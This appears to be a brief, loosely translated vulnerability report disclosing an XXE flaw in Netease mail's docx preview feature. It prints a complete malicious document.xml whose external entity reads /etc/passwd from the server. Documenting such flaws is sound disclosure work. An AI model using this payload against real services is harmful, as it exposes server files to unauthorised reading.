Netease mailbox can read files at a location of XXE

Netease mailbox can read files at a location of XXE

Netease mail supports online storage upload and the XXE vulnerability in uploading docx file Preview

Unbind the docx file and modify word/document. xml:
 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><w:document xmlns:ve="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml"><w:body><w:p w:rsidR="00864BB8" w:rsidRDefault="00630334"><w:r><w:t>test &xxe;</w:t></w:r></w:p><w:sectPr w:rsidR="00864BB8" w:rsidSect="00864BB8"><w:pgSz w:w="11906" w:h="16838"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="708" w:footer="708" w:gutter="0"/><w:cols w:space="708"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

 

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Solution:

You know better than me